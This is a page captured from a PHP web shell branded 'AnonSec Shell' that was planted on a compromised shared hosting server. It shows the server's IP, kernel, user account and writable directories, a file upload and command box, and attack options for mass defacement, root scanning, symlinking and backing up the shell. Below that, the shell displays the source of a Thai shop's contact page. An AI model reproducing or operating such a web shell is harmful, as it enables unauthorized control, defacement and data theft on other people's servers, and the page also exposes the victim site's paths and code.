AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/www/homhuan.com/contact/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/www/homhuan.com/contact/index.php
<?php include('../include/meta.php');?>
<?php include('../include/head.php');?>
<?php include('../include/menu.php');?>
<?php
	// init variables
	$min_number = 1;
	$max_number = 15;

	// generating random numbers
	$random_number1 = mt_rand($min_number, $max_number);
	$random_number2 = mt_rand($min_number, $max_number);
?>
<div class="container div_main p_top40">
    <div class="row">
      <div class="col-md-6 col-md-offset-3" align="center">
      		<div class="text_header">ติดต่อ<span class="br"><br></span>ร้านหอมหวล</div>
            <div style="font-size:30px;margin-top:15px;" align="left">
			<div>
				ที่อยู่เลขที่ 1 ซอยอ่อนนุช 20 ถนนสุขุมวิท 77 <br> แขวงสวนหลวง เขตสวนหลวง กรุงเทพฯ 10250</div>
			<div>
				โทร. 092-598 8688</div>
			<div>
				อีเมล์[email protected]</div>
			<div>
				Line: @homhuan หรือ <a target="_blank" href="https://line.me/R/ti/p/%40homhuan">คลิกที่นี่</a></div>
            <div>
				Fb: <a target="_blank" style="color:#333;"  href="https://www.facebook.com/homhuanth/">homhuan</a></div>
			<div>
				&nbsp;</div>
      </div>
    </div>
</div>


<script>
function checkform_contact()
{
	if(document.form_contact.name.value==""){alert("ขออภัยค่ะกรุณากรอก ชื่อ");document.form_contact.name.focus();return false;}
	if(!isNaN(document.form_contact.name.value)){alert("ขออภัยค่ะกรุณากรอก ชื่อเป็นตัวหนังสือเท่านั้น");document.form_contact.name.focus();return false;}
	if(document.form_contact.phone.value==""){alert("ขออภัยค่ะกรุณากรอก โทรศัพท์มือถือ ");document.form_contact.phone.focus();return false;}
	if(isNaN(document.form_contact.phone.value)){alert("ขออภัยค่ะกรุณากรอก โทรศัพท์มือถือตัวเลขเท่านั้น");document.form_contact.phone.focus();return false;}
	if(document.form_contact.email.value==""){alert("ขออภัยค่ะกรุณากรอก E-mail ");document.form_contact.email.focus();return false;}
	if(!document.form_contact.email.value.match(/^[\w]{1}[\w\.\-_]*@[\w]{1}[\w\-_\.]*\.[\w]{2,6}$/i)){alert("ขออภัยค่ะ รูปแบบ E-mail ของคุณไม่ถูกต้อง"); 
	document.form_contact.email.focus();return false;}
	if(document.form_contact.message.value==""){alert("ขออภัยค่ะกรุณากรอก ข้อความ");document.form_contact.message.focus();return false;}
	if(document.form_contact.captchaResult.value==""){alert("ขออภัยค่ะกรุณากรอกผลบวกของตัวเลข");document.form_contact.captchaResult.focus();return false;}
}
</script>

<div class="container div_main p_top20">
 <div class="row">
      <div class="col-md-6 col-md-offset-3">
			<?php
            if($_SESSION['er']=='true')
            {
                ?>
                <div class="alert alert-success" role="alert">ส่งข้อความเสร็จแล้วร้อยค่ะ</div>
                <?php
            }
            if($_SESSION['er']=='false')
            {
                ?>
                <div class="alert alert-danger" role="alert">ล้มเหลวกรุณาลองใหม่อีกครั้งค่ะ</div>
                <?php
            }
            
            ?>
</div>
</div>

    <div class="row">
      <div class="col-md-6 col-md-offset-3">
        <form action="send_mail.php" method="post" name="form_contact" id="form_contact" onSubmit="return checkform_contact();" >
          <div class="form-group col-md-6">
            <label for="exampleInputEmail1">ชื่อ</label>
            <input type="text" class="form-control" id="" name="name" placeholder="">
          </div>
          <div class="form-group col-md-6">
            <label for="exampleInputPassword1">เบอร์โทรติดต่อ</label>
            <input type="text" class="form-control" id="" name="phone" placeholder="">
          </div>
          <div class="form-group col-md-12">
            <label for="exampleInputPassword1">อีเมล</label>
            <input type="email" class="form-control" id="" name="email" placeholder="">
          </div>
          <div class="form-group col-md-12">
            <label for="exampleInputPassword1">ข้อความ</label>
            <textarea class="form-control" rows="3" name="message"></textarea>
          </div>
          <div class="form-group col-md-12">
            <label for="exampleInputEmail1"><?php
            echo $random_number1 . ' + ' . $random_number2 . ' ';
            ?>
            </label>
            <input name="captchaResult" type="text" class="form-control" />
            <span>กรอกผลรวมตัวเลข</span>
            <input name="firstNumber" type="hidden" value="<?php echo $random_number1; ?>" />
            <input name="secondNumber" type="hidden" value="<?php echo $random_number2; ?>" />
            </div>
          
          <div class="form-group col-md-12" align="center" style="padding-top:15px;">
           <button type="submit" class="btn btn-default bn_send_mail">ส่งข้อความ</button>
          </div>
        
          
        </form>
        
      </div>
    </div>
</div>




<div class="container div_main p_top20">
    <div class="row">
      <div class="col-md-6 col-md-offset-3">
      <div class="google-maps">
   		 <iframe src="https://www.google.com/maps/d/embed?mid=zd-2F05_jQVk.kpfYMnw8LhOc" width="640" height="480"  frameborder="0"></iframe>
      </div>
      
      </div>
    </div>
</div>





<div class="container div_main p_top40">
    <div class="row">
      <div class="col-md-12" align="center">
      		<div class="text_header">แผนที่<span class="br"><br></span>ตั้งหอมหวล</div>
        	<div class="text_header_sub">
            			เลขที่ 1 ซอยอ่อนนุช 20 ถนนสุขุมวิท 77 แขวงสวนหลวง เขตสวนหลวง กรุงเทพฯ 10250<br>
                        อีเมล [email protected] <span class="br"><br></span>โทร 092-598-8688 <br>
                        
            </div>
      </div>
    </div>
    
    
     <div class="row p_top40">
      <div class="col-md-12" align="center">
      		<div>
                 <a href="../image/map%20homhuan.pdf" target="_blank" type="button" class="btn btn-default bn_send_mail">ดาวน์โหลดแผนที่</a>       
            </div>
      </div>
    </div>
    
    
</div>









<?php include('../themes/tap_footer.php');?>
<?php include('../themes/footer.php');?>
<?php include('../include/footer_js.php');?>

Anon7 - 2022
AnonSec Team